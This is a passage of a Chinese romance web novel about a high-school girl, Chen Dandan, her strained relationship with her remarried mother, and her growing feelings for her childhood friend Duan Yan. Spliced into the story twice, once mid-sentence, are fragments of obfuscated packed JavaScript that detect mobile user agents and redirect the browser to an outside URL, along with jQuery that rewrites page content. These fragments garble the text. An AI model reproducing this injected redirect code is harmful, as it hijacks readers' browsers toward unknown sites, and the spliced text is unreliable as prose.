等到上台演唱的前一秒,她还是没有看见他们的身影,不该抱有的期待让她失魂落魄,以至于那天究竟有哪些节目,她根本一点印象都没有。 许是看同学们反应不够热烈,辛彤彤顿了顿,才继续往下说:“第二首是《夜空中最亮的星》,欢迎会吉他、小提琴、大提琴、钢琴这些乐器的同学们演奏。” 这回同学们的反应要稍微热烈一点,这首歌近两年没有在学校演奏过,有那么些新意,而且班上不少同学都会这几种乐器中的一种或几种,甚至还有些同学练过这首曲子,可以节省不少排练时间。 底下的同学们纷纷讨论起来,辛彤彤拍拍讲台,示意大家先安静下来听她继续说。 “第三首,是我们的原创歌曲,自己写歌词,自己作曲,在我们高中最后一次艺术节上留下属于我们高二(16)班自己的歌曲!” 说出这话的时候,辛彤彤掌心冒汗。这是宣传委员的提议,包括她在内的其他班委都觉得很不错。虽然会耽误同学们一些时间,但她对班里多才多艺的同学们有信心。 陈丹丹两手交叉垫在下巴上,望向讲台上方明显有点紧张的辛彤彤。 不得不说,这个提议大胆极了。在即将到来的分班考试之前,大家是否愿意参与这样耗费时间精力的事情,又是否有足够的能力将它完成好,这都是未知数。 不过,火箭班的学生还是很喜欢挑战的。 外加—— “用航哥的话来说,青春不再来,我们这辈子也只有这一次高二,高中时代也只剩下这最后一次艺术节,所以同学们,希望大家谨慎选择,不留遗憾!”辛彤彤提高了声音,“我先投一个第三首。” 台下的气氛果然热烈起来,最后的举手投票结果也显示,支持第三首的同学最多,数量占到了全班总人数的一半以上。 甚至陈丹丹周围已经有同学开始讨论怎么写好第三首歌了。 “写完曲子之后我们可以找音乐老师帮忙看一看。” “我很久没弹吉他了,正好回家练练吉他,免得手生。” “歌词的话,我觉得可以全班同学每个人写一句诶,这样岂不是很有意义?” 祝思倩也兴奋地转过头和陈丹丹聊起来,“丹丹,我终于可以说服我妈继续让我在家里练小提琴和钢琴啦!你都不知道,我上了高二之后,我妈连碰都不让我碰这些乐器,说是会影响学习成绩。切,也不看看当初是谁送我去艺术培训班学习的。” 陈丹丹有一搭没一搭地应着,稍微低下头,掩饰住了眼底的羡慕。 她小时候也喜欢过钢琴,听说她上幼儿园的时候路过钢琴培训班,听到里面传来的钢琴声,当即要拉着爸爸妈妈进去看。 然而钢琴太贵了,钢琴课也一点都不便宜,那时候的父母没有能力在还完房贷之余还给她培养这样昂贵的兴趣爱好。 所以有时段言练钢琴,她都跟在一旁听,美名其曰“陪你练习”。 等到后来家里经济条件好转,父母又选择丢掉这段婚姻,各奔东西。而她,虽然还对他们抱有不切实际的幻想,却也还算有自知之明,没再提出过学钢琴、买钢琴这样的奢侈愿望。 以至于她现在什么乐器都不会,在藏龙卧虎的班级里,像是个格格不入的异类。 ——她听祝思倩八卦过,班上大多数同学都是什么钢琴□□级、小提琴六七级之类的,也有学古筝、琵琶、笛子、吉他等等的,至少有一样乐器拿得出手, 低下头的同时,她听见俞秉文问段言:“你对第三首感兴趣吗?” 段言嗯了一声,“听上去还挺有意思的。” 有点挑战。 而他喜欢这样的挑战。 火箭班里喜欢挑战的同学并不少,最后还是采取了全班参与的方式,每个同学都写一句歌词。 写歌词的A4纸是按照S型在班里传的,先从第一列第一排同学开始,由他传到身后第一列第二排的同学,再依次传送。 不多时,陈丹丹收到了段言传过来的A4纸。 该轮到她写了。 入目之处,最后一句歌词是: 「蝉鸣在耳边响起 青春它永不凋零」 毫无疑问,这是段言写下的歌词,字迹龙飞凤舞,力透纸背,可以窥见他个性里暗藏的锋利和年少意气。 陈丹丹想了很久,在押韵和意境中徘徊再三,斟酌着用钢笔紧接着写下一句: 「回忆校园的美景 是我们大笑又肆意」 明明有那么多美好的意象,鲜花、向日葵、海鸥、芳草,有那么多酸不拉几的形容词和华丽的表达,她却还是选择了最朴实的词语。 或许她心目中最美好的校园生活,就是有奋斗,有欢笑。 …… 吃过晚饭刚回到教室,雨就开始下起来。 夏天闷闷的,今晚的雨水来得很及时,浇透了潮热的地面,带来了些许凉爽的风。 陈丹丹对着窗外的雨声发了会儿呆,在祝思倩的提醒下才重新翻开习题册。 等到晚自习结束,雨已经变小了,有的同学干脆不撑伞,仗着身体素质好,淋点小雨也没什么。 陈丹丹撑着雨伞,跟在人群中缓缓走出校门。她没有像以前那样,等2路车的时候在心里默背课文,而是时不时转过头,目光在人群中逡巡着。 经历过有人陪伴的下雨天,有人陪伴的公交车,很难不去期待下一次同行,甚至会贪心地想要一直同行。 很快捕捉倒段言的身影。 他那样耀眼的人,在人群中一眼就可以看到。 少年身姿挺拔,推着一辆崭新的山地车从校门口往出走,看着很高冷的样子,可被同学叫住,他也会勾起唇点头道别。 原来他之前坐公交,只是因为没来得及买自行车。 说不清是失望还是什么,陈丹丹扯了扯书包带子,收起伞,跟在人群中挤上了公交。她坐在2路公交车上百无聊赖地望着窗外,意外地再次看见那道熟悉的身影。 少年背着她熟悉的、瘪瘪的黑色背包,在无数辆自行车中穿梭向前,偏过头的那一刹那,他看见了陈丹丹,于是很自然地冲她挥挥手。 夜色中,少年的笑容干净而温暖。 有谁的心跳突然空掉了一拍。 陈丹丹抿了抿唇,回之以微笑,对着他轻轻挥手,无声说道:“周一见。” …… 周六上午,林爱萍带着小女儿出门买衣服,陈丹丹留在家里写各种活页作业、习题册、《五三》。 到了吃午饭的时间,林爱萍拎着一碗米线回家,“你叔叔今天临时出差回不来,你妹妹非要去吃什么没营养的汉堡包和薯条,我们就在外面随便吃了一点,喏,这是给你带的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377268|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈丹丹欣然接受,她早就过了爱吃汉堡包、披萨一类食物的年纪,对和父母一起吃饭也没什么执念,这样正好。 她边吃,林爱萍边和她商量:“我出去打会儿牌,你带带你妹妹,可以吗?” 久违的温柔语气,陈丹丹想了想,还是答应了,“不过先说好啊,我不会一直盯着她,我就在客厅刷题,把她留在客厅里玩儿。” “好,”林爱萍点点头,“你妹妹现在也不用人每分每秒都盯着。” 于是家里就只剩下陈丹丹,以及和她同母异父的妹妹。陈丹丹在茶几上写《王后雄》,妹妹就坐在沙发上伸出藕节一样的小胳膊给她的芭比娃娃换衣服,两个人互不干扰。 几小时后,陈丹丹直起身扭了扭脖子,弯腰对小不点儿道:“我去趟洗手间,你在这里乖乖的别乱跑啊。” 小不点儿点点脑袋,陈丹丹就放心地去了洗手间。 等她再次回到客厅,迎接她的是林爱萍劈头盖脸的一顿骂:“你怎么带你妹妹的?!没一点当姐姐的担当!” 陈丹丹视线往下,看见额头上破了个小口子的妹妹,林爱萍手忙脚乱地找酒精和创口贴,但是没找到,一时之间又是担心又是生气,冲陈丹丹怒道:“真是的,这么大人了,连妹妹都照看不好,我看你是不是故——” 话没说完,她就闭上了嘴。 林爱萍自知失言,也没看陈丹丹一眼,慌慌张张抱起小女儿冲出家门,只留下一句:“我带你妹妹去医院了,晚饭你自己解决。” 陈丹丹怔愣在原地,满脑子都是母亲刚刚对她的恶意揣测。 什么时候她们之间的信任如此脆弱? ——以前分明不是这样的。 十年前某次过节,陈丹丹和堂弟堂妹们一起玩耍,玩累了,就在爷爷家住下。次日醒来,爷爷发现他最喜欢的花瓶被打碎了,怒不可遏地问他们是谁干的。 堂弟挠挠头:“我也不知道,不过我昨晚看见丹丹姐凑上去摸花瓶了。” 陈丹丹无法否认,她昨晚确实好奇地摸了摸爷爷心爱的花瓶,但是花瓶的的确确不是她打碎的。 然而堂弟这一张口,周围的亲戚们陆陆续续露出恍然的神色,就连爷爷都默认是她打碎的花瓶。花瓶不怎么值钱,但陈丹丹没有在他询问的时候主动站出来承认错误,这让老爷子很是不喜,张口就要罚她抄书。 闻讯赶来的林爱萍和女儿交流了几句,直接在公公面前宣称花瓶绝非是女儿打碎的,又仔细问了所有昨晚住在老爷子家的大人和小孩儿,总算是没有让陈丹丹受到太大的委屈。 时至今日,陈丹丹都还清清楚楚记得母亲当时说过的话,“丹丹没做过的事情,我不允许任何人冤枉她。” 然而昨日再美好,也终究只是昨日。 陈丹丹黯然地想,母亲从主动维护她的一方变成了冤枉她的一方,若不是亲身经历这一幕,她实在难以想象。 片刻后,陈丹丹漫无目的地在街上晃悠,不知不觉间,她走到了以前的家楼下。 多年过去,当年那个温馨的家和热热闹闹的小区,如今已经成了即将被社区进行改造的老旧小区。 陈丹丹坐在花坛边,一个咬着棒棒冰的小女孩被她妈妈牵着往小区外的方向走。 “妈妈妈妈,阿拉丁神灯真的可以实现所有的愿望吗?” “你想实现什么愿望?” “今天可以吃两根棒棒冰!” 母女俩说着,人影渐渐远去。 陈丹丹想,如果这个世界上真的有阿拉丁神灯,她此刻想许的愿望是:请把一个可以听我讲心事的人带到我身边。 陈丹丹没想到,几分钟后,她愿望成真。 真的有一个耐心倾听她说话的人,被带到了她的身边。 15. 十五颗青梅 晚上八点,星空披上了月色的光辉,显得柔和而明亮。 段言中午跑出去打了好几个小时的篮球,回到家又开始打游戏,看得傅女士一阵不耐烦,“别玩儿了,帮我去以前的房子里找点东西。” “找什么?” “一些绝版的老照片。” “照片放哪的?” “我怎么知道!咳咳,我忘了放哪了,你好好找找。” 段言扶额:“……那你和我爸呢?” “我和你爸出去吃烧烤——”傅女士美滋滋地说,注意到他微妙的眼神,立刻道,“打住哈,你那是什么眼神?你可别想跟我们一起啊,没你的份儿,医生都说了,让你最近少吃辛辣刺激性食物,多吃点清淡的东西。” “……好吧。” 他都习惯他爸妈抛下他出门过二人世界了。 段言从抽屉里翻出一把旧钥匙,妥帖地揣进兜里,摸上手机,鞋子一换,分分钟出了门。 今晚不算闷热,反而有阵阵凉风拂面而来,别样的清爽。现在住的房子和之前的老房子相隔不过几公里,对少年来说不算太长的距离,骑上山地车很快也就过去了。 黑色的山地车骑到小区楼下的花坛边时,一团人影吸引了他的视线。 这个小区有些年头了,很多家庭早已搬去了更好的地段,这里住户少、维护的费用少,路灯也没有以往亮。 此刻,昏暗的灯光下,郁郁葱葱的花坛边,正坐着一个身穿白色连衣裙的女孩子,她的目光落在虚空处,眼底是言而易见的脆弱。 “嘿!发什么呆呢!”清朗悦耳的男声响起,吓了陈丹丹一跳。 她的视线顺着黑色运动鞋往上,白色的长裤,藏青色印着涂鸦的短袖,再往上,是一张熟悉的脸。 ——是段言。 好像是上天把他带到了她的身边,让她有一个可以倾诉的对象——如果有阿拉丁神灯,她的愿望又恰巧被听到了的话。 这是上天给的偏爱吗? 陈丹丹想笑,但是笑不出来。站在她面前的段言弯下腰,视线和她齐平,轻轻拍了拍她的脑袋,“不开心就别勉强自己笑。” “你怎么在这儿?”陈丹丹转移话题,上回段言下车的站点离这儿挺远的,他分明已经搬家了。 “过来收拾点东西,”段言从兜里掏出包纸巾,擦了擦她身旁的位置,坐下后问她,“你呢?” 她分明也早已不住在这里。 陈丹丹轻描淡写道:“有点想念这里,所以回来看看。” “哦?”段言含笑指着她身后的花坛,“看来你很怀念小时候捉迷藏躲在这里,然后被蚊子咬了十几个包的日子?” 陈丹丹瞪他,瞪着瞪着,嘴角又抿出一点笑意。 气氛乍然间变得有点轻松,晚风吹着很舒服,少年身上清新似薄荷的气息顺着夏夜的风吹到陈丹丹鼻尖。他从兜里摸出一颗大白兔奶糖递给她,陈丹丹笑着接过他手里的糖,“你怎么随时都能变出大白兔奶糖啊?” “想到可能会用上。” “哦。” “不说说你的心事吗?” “哈?”陈丹丹不意话题突然转到这里,反应慢了半拍。 “这里不是我们小时候分享秘密、讲心事的地方吗?想说什么就说吧。”段言状似无奈地仰头望天,“反正我也不是头一回当你的知心大哥哥了。” 陈丹丹的雷达一下子被触发,“你确定你当时扮演的角色是知心大哥哥?那请问,当我伤心地和你说我的糗事时,在一旁笑得开心到肩膀直抖的人是谁?” “姓段名东东,”段言停顿了一下,指了指自己,“本人姓段名言,你刚说的那件事情与我无关。” 陈丹丹:“……” 好一个“无我无关”,照他这么说,番茄和西红柿也无关了是吧? 她回想起两人小时候拌嘴的日子,心里的防线骤然间崩塌了大半,想了想不知道从哪里切入,于是决定想到哪说到哪好了,“其实我不喜欢下雨天,也不喜欢坐公交车,我更想骑自行车上下学。” 段言哑然,“我记得你小时候学自行车还挺痛苦的。”骤然从有辅助轮的儿童版四轮自行车换成了二轮自行车,她当时慌乱的要命,歪歪扭扭地骑在自行车上,差点一头撞进花坛里。 陈丹丹没有否认:“是啊,小时候习惯了骑有辅助轮的自行车,刚开始学骑正儿八经的自行车,确实蛮痛苦的。” “后来怎么喜欢上了?”段言发现他开始好奇那些属于她,而他不曾参与过的时光和改变。 陈丹丹比划着说:“后来很喜欢骑着车肆意飞扬的那种感觉,你懂吧?就是感觉在风里骑着自行车很自由。” 段言轻轻点头,用眼神鼓励她接着往下说。 “我们小学不是不让骑自行车嘛!当时我们班有两个男生偷偷骑车上学被老师发现,还把家长叫到学校来了,你记得不?” “记得,是陈磊和闫强。” 陈丹丹失笑:“是了,你的记性一向不错……跑题了,我接着说,小孩子嘛,越是不让做的事情就越是想做,越是不能骑车上学,就越是想体验一把骑车上学的感觉。” 段言安静地坐在旁边听她说话。 夜色宁静而温柔,连带着少年的眼神看起来也好温柔,陈丹丹顿了顿,继续说下去。 “我满心期待着上初中,想着等我上了初中,就可以骑车上下学了。”她老早就开始期待,期待了好几年。 “可是我爸妈离婚了,刚开始我跟着我爸,他娶的那个阿姨不同意给我买自行车,说是骑自行车上下学不安全,我爸觉得她说的有道理,就没给我买。然后我又跟着我妈,她和叔叔生了个妹妹,完全顾不上我。”她露出一个比哭还要难看的笑容。 她小心翼翼地和母亲提过,母亲当场拒绝了,理由很充分——家里柴房没有地方放自行车,继父的摩托车、母亲的电动车、妹妹的儿童自行车和滑板车已经占据了绝大部分位置,另外还有一些杂物和快递箱子占据了剩下的位置。 所以她一直坐的公交车。每当看见路上有小孩子骑车,她就会想起小时候父母教她骑自行车,从后面扶着怕她摔倒。 她不喜欢等待,不喜欢摇摇晃晃地在一站又一站停下等候,不喜欢公交车上难闻的气味和拥挤到经常无处下脚的空间,更不喜欢在站牌处看着来来往往的家长接送孩子。尤其是下雨天,上学的路段排水不好,公交车有时候开得跟游艇似的,排队上车时还容易一脚踩进水坑,溅起的泥水直接将她的裤腿弄湿。 她犹记得母亲过去对她的纵容。只是……她抬头看了看楼上曾经的家,这一切早已不复往昔。 “可能我真正讨厌的不是坐公交车,而是没办法选择骑自行车,因为不被大人在意的小孩是没有选择权的……他们还没离婚的时候,我一点感觉都没有,被偏爱的小孩子自身是感觉不到被偏爱的,就像健康的人感觉不到健康本身就是一种幸运。直到他们离婚,我慢慢变成了他们两个人的累赘,我才发现,原来之前无知无觉的我是全天底下最最幸福的小孩,什么都不用担心,最大的烦恼就是期末考试马虎大意没有考高分。” “今天我在家里带妹妹,妹妹问了我一个问题。她问我,为什么奶奶说我是拖油瓶?” 不欲说出口的话就这么轻易地说了出来。老实讲,陈丹丹也觉得很奇怪,分明已经好几年不曾见过段言,也不曾同他有联系,但面对他那张脸时,她总是有种莫名的信任感,轻易吐露了她的喜好和心事。 信任他会为她说过的一切话保密,也信任他会理解她的情绪。即使他之前恶劣地嘲笑过她,她还是对他产生了这样的信任。 有点奇妙的感觉。 ——毕竟她从来不是一个希望得到别人怜悯的人,也从不奢求真正的感同身受,这些话她以为这辈子都不会和别人说,却莫名地告诉了段言。 陈丹丹试图在大脑里分析原因,最后得出的结论是:大概是因为段言让她体会到了久违的安全感。 是的,安全感。 这个词对于如今的陈丹丹来说是那么的陌生。 在他面前,她可以放心大胆地泄露真实的情绪,表达她内心深处的想法,不用担心他会出卖她告诉其他人,不用解释前因后果,她直觉段言会理解她,也遵从直觉的相信他。 他一直都是这样可靠的人。 小时候会在她花光零钱后用自己的钱给她买零食吃,会在她被罚抄时提出用她的字迹帮她抄,会皱着眉头看似嫌弃但无比配合地陪她玩简单幼稚的过家家、堆城堡游戏。 在小时候的陈丹丹面前,段言是一个可靠的、值得信赖的朋友。 现在的他于她而言,可能、似乎依旧是。 所以陈丹丹可以放纵自己的情绪,变得不那么坚强,不那么冷漠,主动撬开伪装平静的外衣,露出脑袋冲他笑眯眯挥手。 ——嗨,我有点心里话想说给你听。 很久很久之后,陈丹丹终于将心底的委屈说尽,情绪也发泄了出来,虽然还是很难过,但莫名的,有种久违的轻松。 “说完了?”段言问。 “嗯。”她揉揉眼睛。 清凉的晚风将草木吹得轻轻摇摆,花草的香气一阵阵被微风吹入鼻腔。 夜空下,少年的眼睛比钻石般闪耀的星星还要明亮。 “那——你接下来就听我说好了。” “说实在的,我最近刚见到你的时候还觉得你变了挺多,有点……嗯,口是心非,在意的、喜欢的东西你会表现得不在意、不喜欢。其实你可以像今晚这样,诚实地面对自己的心,也诚实地对待其他人——比如你的好朋友我。喜欢就是喜欢,不喜欢就是不喜欢,讨厌就是讨厌,做回以前那个快乐的陈掌门,不要为了其他原因压抑自己的情绪,这样会轻松很多。” 陈丹丹注视着段言的眼睛,安静地听他讲话,适时表达她的疑惑:“会轻松很多?” “对,”段言说。“你可以想办法满足自己。比如现在,你可以告诉我你想骑自行车去学校玩,我就会把我的自行车让给你骑。” 陈丹丹摇头失笑:“你都搬家了,这会儿从哪变出来自行车?” 段言不跟她争辩,只道:“你跟我来。” 一分钟后,陈丹丹望着眼前熟悉的黑色山地车,呆滞了。 “怎么样?要不要试一试?”少年轻挑眉梢,将山地车钥匙往陈丹丹的方向抛过去。 她赶紧接住,踌躇着开锁,在段言的目光鼓励下坐上他的山地车。 摇摇晃晃地蹬了几圈脚踏板,失去平衡的恐慌吓得陈丹丹赶忙从车上下来,握住车把手,对跟在她旁边的段言抱怨。 “你的自行车也太难骑了吧,坐垫这么高,车把手又那么低,我坐在坐垫上脚都够不着地面,而且坐垫离脚踏板那么远,根本不好使劲蹬。反正我是再也不想骑了。” 段言从她手中接过车把手,熟练地给山地车转了个方向,在刚刚停车的位置锁住车。 “你懂什么,要的就是这种感觉好不好。我看你这个小矮子是体会不到骑山地车的快乐的。” 熟悉的毒舌,熟悉的嘲讽,陈丹丹咬牙切齿:“你说我什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389581|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 如果她没有记错,这是段言第二次说她是小矮子了。 在段言的身上,陈丹丹感受到了什么叫做“信任一个人和想打一个人并不冲突”,她气愤地一拳打过去,打了个空,追着段言到处跑,“我在女生当中一点都不矮的好嘛?!” 跑了几分钟,段言大气都没喘一口,反倒是陈丹丹,累得气喘吁吁,两手扶住膝盖,说话尾音都带颤:“停、停下,我不追你了。” 段言慢腾腾走回她身边,啧了声:“就你这差劲的体力,还陈掌门呢。” 陈丹丹仰起头瞪他:“你可真不会说话。” 段言配合她的身高弯下腰,看着她的眼睛说:“那没办法,我这人有个优点——爱说实话。” 陈丹丹:“……” 怎么办,又想打他了。 段言直起身,指了指旁边的花坛,“你先坐在这里等我一下。” 陈丹丹没问他要去哪里,只应了声“好”。 她看着段言离开的背影越来越远,心里的难过还没有彻底消失,唇角却带出一点笑。 其实她知道,段言在想办法转移她的注意力,让她不要那么伤心。这人和小时候一样,嘴硬心软,善良得不行。 不一样的是,他现在跑步的样子和小时候一点都不像。那个时候段言个子不高,腿也不长,跟个小白萝卜似的。哪像现在,腿那么长,跑一步的距离她要跑几步。 很快,段言跑回来了。许是跑得太急,他的胸膛剧烈起伏着,喘气的声音在静谧的夜色里格外明显。 陈丹丹随口问他:“刚刚去哪了,跑这么快?” 他不答反问:“可以吃冰的吗?” “可以。” 一根小奶糕忽然出现在她面前,“来一根?” 段言从身后拿出刚刚藏起来的小奶糕,递给她一根,再撕掉剩下那一根的包装纸,看着愣神的陈丹丹,手在她面前晃晃,“别傻看着了,小心等会儿化掉了。” “嗯。”陈丹丹撕掉包装纸。 段言摊开手,“放这里,我等下一起扔掉。” 她也没客气,把包装纸放进他掌心,等他三两步跑到垃圾桶旁扔掉包装纸回来,就要一口咬下去。 “等等。”段言扣住她的手腕,又瞬间松开。 “等什么?”陈丹丹不解。 “哎我说,你也太没有仪式感了吧。”段言举起小奶糕,用动作提示她。 啊? 吃个小奶糕还要什么仪式感吗? 陈丹丹眼睛里的疑惑更明显了。 段言面露无奈,主动将手中的小奶糕向她这边倾斜。 “小奶糕干杯!”他笑着说。 凉风习习,他的笑容像夏夜的风,拂过陈丹丹跳动的心。 陈丹丹愣了愣,笑着将手中的小奶糕和他的碰在一起,“小奶糕干杯!” 陈丹丹定定地看着面前这两根碰在一起的小奶糕,属于童年的记忆开始复苏。 …… 两个小朋友坐在花坛边,小男孩不开心地坐在那里晃腿,小女孩儿变戏法一样地变出两根小奶糕举在他面前。 小女孩脆脆地道:“以后不开心了就来这里,我请你吃小奶糕。” 小男孩抬头望向站在他面前的小女孩,用力点头:“好。”末了,还对小女孩承诺:“我以后也请你吃小奶糕。” “只有小奶糕吗?”小女孩在他身旁坐下,反问道。 “那你还想吃什么?”男孩儿认真地问她。 “嗯……辣条!” “吃的满手是油然后蹭我一身吗?” “那都是去年的事情了!士别三日当刮目相看懂不懂!” “切~” “……” 后来陈丹丹一直记得这个晚风吹拂的夜晚,宁静又欢乐,纵然伤心也被治愈。她也没有想到,未来的某一天,某几天,他们都会在这里默契地相遇。 “你居然还记得?”她仰起白净的脸,不可思议地问他。 “怎么可能不记得?这样的回忆,让人很难忘记才对吧。” 周围只余下几盏被草木包围的路灯,散发着微弱的光亮,段言的目光落在远处的黑暗里,轻笑着开口:“堂哥从出生开始就由爷爷带他,所以爷爷偏心他一点也不奇怪,只给堂哥买了零食漏掉了我也不奇怪。只是没想到有个好心的小朋友觉得我会伤心,还买了小奶糕哄我。” 那一晚,小女孩将小奶糕塞进他的手中,胖乎乎的小手拍拍他的肩膀安慰他:“别难过了,没有什么是一根小奶糕解决不了的。如果有的话,我就、就再给你买一根小奶糕好了。” 说到“再买一根”的时候,她的表情里充满了心痛、不舍等情绪。段言就那么轻而易举地被她逗笑。 “这样才对嘛!我妈妈说了,爱笑的小孩子更讨人喜欢。”小女孩坐在他的旁边,撕掉裹在小奶糕外层的那张纸,见对方也撕掉后,一把拿过去,噔噔噔跑到几米开外的垃圾桶丢掉,再噔噔噔跑回来乖乖坐下。 她朝着他的方向举起手中的小奶糕,用眼神示意他也举起来,段言没明白她想做什么,迟疑着举起手中的小奶糕。 另一根小奶糕轻轻碰上了他手中的那一根,与此同时,甜甜的声音在他耳边响起:“小奶糕干杯。”稚嫩的声音试图模仿大人举着酒杯说“干杯”的气势。 从很久很久之前,她就是他心目当中应当永远明亮的光。 而他,不想让这束光变得黯淡。 “你不是拖油瓶,从来都不是。你要相信,你很珍贵。”他这么说。 16. 十六颗青梅 陈丹丹蒙住被子,心里想起刚刚的画面,在被窝里偷笑出声。 她刚才恶作剧一般笑起来,找茬似的伸出手,问段言:“所以……辣条呢?” 没想到他真的从口袋里掏出一小包辣条,无可奈何地递给她,“怎么长大了还喜欢吃辣条?” “辣条这么好吃,谁不喜欢啊?”陈丹丹接过那包辣条,撕开个口子,咬一根看向他,“要来点吗?” “不。”他坚决不吃。 意料之中的回答。 “来一根,就一根。”陈丹丹强烈安利,“你买的这个辣条真的很好吃,和小时候的味道可像了!不是那种让人讨厌的甜甜的辣,是纯麻辣、香辣的那种辣。” 段言勉为其难地答应:“好吧。” 他刚伸出手,陈丹丹就嗖的一声缩回了手。 段言:“?” “哈哈哈哈哈哈哈!我突然想起来,你不是腿上还有点伤口吗?还是得吃清淡有营养的东西,辣条这种不健康的零食还是由我来解决吧!” 一想到她说完这话时段言懵逼的脸,她就想笑。 嗯,怎么说呢,那个有些距离感的风云人物又变回了她熟悉的样子,几乎和以前那个经常被她弄得很无奈的竹马重合了。 沉睡之前,脑海里最后的画面,是段言问她还有什么想做的,她说她想听他唱歌。 他说好。 又问她:“你想听什么?” “《倔强》。” 段言低头克制地看了一眼她的腿,从兜里掏出瓶东西,“先等等,你涂点风油精。” “你的口袋里怎么什么都有啊?好神奇。”陈丹丹接过他手里的风油精,才反应过来她今晚喂饱了数只可恶的蚊子。她从小到大都是招蚊子的体质,此刻段言的胳膊和腿上一片白净,而她的胳膊和腿上到处都是被蚊子咬了之后鼓起来的包。 有点痒。 她一边涂抹风油精,一边道:“好了,你可以开始了。” 旁边递过来一只白色有线耳机,“总不能清唱,耳机里是伴奏。” 前奏从耳机传进耳朵,清淡的男声随之响起。 “当我和别人不一样 那就让我不一样 坚持对我来说 就是以刚克刚 ……” 陈丹丹就这样沉睡过去,梦里有童年时候的小奶糕,还有一道悦耳的男声在唱歌。 失去意识前的最后一秒钟。 她想。 糟糕了,陈丹丹,你好像真的喜欢上段言了。 那些爸爸妈妈从你身上收回的“偏爱”,好像从段言这里重新获得了。 唯一被主动被他添加为Q.Q好友的女生。 下雨天里,宁愿自己淋雨也要留给她的那把雨伞。 打赌赢了之后和她一人一个分享的橘子。 还有…… 今晚一同看过的月色,灯光下安静倾听她讲心事时的侧脸,当她摇摇晃晃骑着山地车时准备好要接住她的那只胳膊,主动同她干杯的小奶糕,唱歌时干净清澈到让她惊艳的嗓音。 一层层好感叠加起来,已经变成了难以自抑的喜欢。 她对段言的抵抗力,好像已经完全没有了。 夏天的风穿过窗纱,吹起了书桌上没来得及合上的日记本纸页,一页页纸面被清风翻开,某个少年占据的篇幅越来越大,一行行字迹露出少女隐秘的心事。 「我的好朋友段言突然回来了,而且转到了我们班,他现在好帅。 ……他主动加我的Q.Q号哎!」 「他居然还记得我最喜欢的棒棒糖口味!!」 「他好受欢迎,很多女生来我们班附近晃悠,只为了多看他一眼。不过他和其他男生不一样,他没有加别的女孩子Q.Q~ 他还挺乐于助人的,主动帮我擦白板。」 「他还是有“投篮”的习惯,好幼稚。」 「他给我留了一把雨伞,自己却被雨水淋湿了。 因为他,我好像没有那么讨厌下雨天了。」 「他在看完我写的作文之后,给我写的话:」 下方是段言粘在陈丹丹语文卷子上的那张便利贴,黑色的钢笔字写着:写的很好嘛,大作家。 …… 「他物理满分,而我刚好及格,好丢脸,这么低的分数是他批改出来的。」 「他在我的手心放了我喜欢吃的大白兔奶糖,小时候我哭了,他也是拿这个奶糖哄我的。」 「伤心难过的时候有他在身边,真好。 我好像……喜欢上他了。」 …… 第二天早上醒来后,陈丹丹从柜子里的零钱盒里取出早餐钱,洗漱过后正要出门,刚好撞见林爱萍,她的手里还拎着热腾腾的小笼包和豆浆。 林爱萍见女儿不发一言地换鞋,挽留道:“我正要叫你妹妹起床,一起吃点早餐。” 昨晚林爱萍带着小女儿去医院,医生说没什么大碍,就磕破了个小口子,很快就能痊愈,她放心不少,这才想起来给丈夫和大女儿发了短信。 丈夫急急地打了电话过来,等挂断电话后,她看见了大女儿回过来的信息,只有短短的两个字:「好的。」 她无声地叹了口气,看来她还是在无意中伤到了丹丹的心。早上她特意起早了半个小时,排队买了丹丹以前喜欢的小笼包,想着缓和一下关系。毕竟她只是在情急之下不小心说错了一句话,这么长时间以来,她自认为已经尽到了对大女儿的责任,一句话而已,她应该不会往心里去吧? 陈丹丹不紧不慢地系好鞋带,直视眼前这个变得有些陌生的母亲,问了她一句话:“您还记得您在我小时候说过什么吗?” 在林爱萍不解的眼神里,她微微一笑,“您说,您不会让任何人冤枉我。” 许久,看着合上的防盗门,林爱萍伸手捂住了眼睛。 忽然间,房内传出小女儿稚嫩的声音:“妈妈妈妈!” 林爱萍回过神,快步走到餐桌前将手里拎着的早餐放下,高声应道:“哎!妈妈来了!” …… 对于陈丹丹来说,除了早上不愉快的某一幕之外,今天还算是美好的一天,哪怕依旧要站十几站公交,都没能影响她的好心情。 尤其是,站了几站公交后,陈丹丹在窗外看见了熟悉的身影。 少年穿着蓝色的短袖校服和深色校裤,露出一截脚踝。他握着山地车的车把手,目光直直往前。 就连普普通通的蓝色校服都挡不住段言的好看,他和朋友并行骑着车,时不时偏过头说几句话,神采飞扬,灿烂如这盛夏的阳光,耀眼夺目。 陈丹丹弯了弯唇。 就连这么看着他,都觉得心情变好了许多。 她站在车上,目光一直追随着段言的身影,直至他骑车超过了公交车,背影越来越小,再也看不见。 今天是周一,周一意味着要去明德楼前面的空地处参加升旗仪式。 陈丹丹早上来了教室之后,先是交了作业,然后沉迷于背书和刷题之中,忘记按时出教室。 而坐在她身后的段言,则是一大早来了就开始不停地写写写。 周五收拾书包的时候,他忘记把刚发的把物理卷子和英语活页作业带回家,以至于现在不得不硬着头皮疯狂赶作业。 俞秉文主动把物理卷子拿给段言抄,段言欣然接受,只不过他只抄完了选择题和填空题就把卷子还回去了。 “我的哥,背面还有大题。”俞秉文提醒道。 “大题我自己写,抄起来浪费时间。” 俞秉文:“?” 第一次听见有人这么说,还挺新鲜。因为抄作业浪费时间,所以要自己做? 开玩笑呢吧! 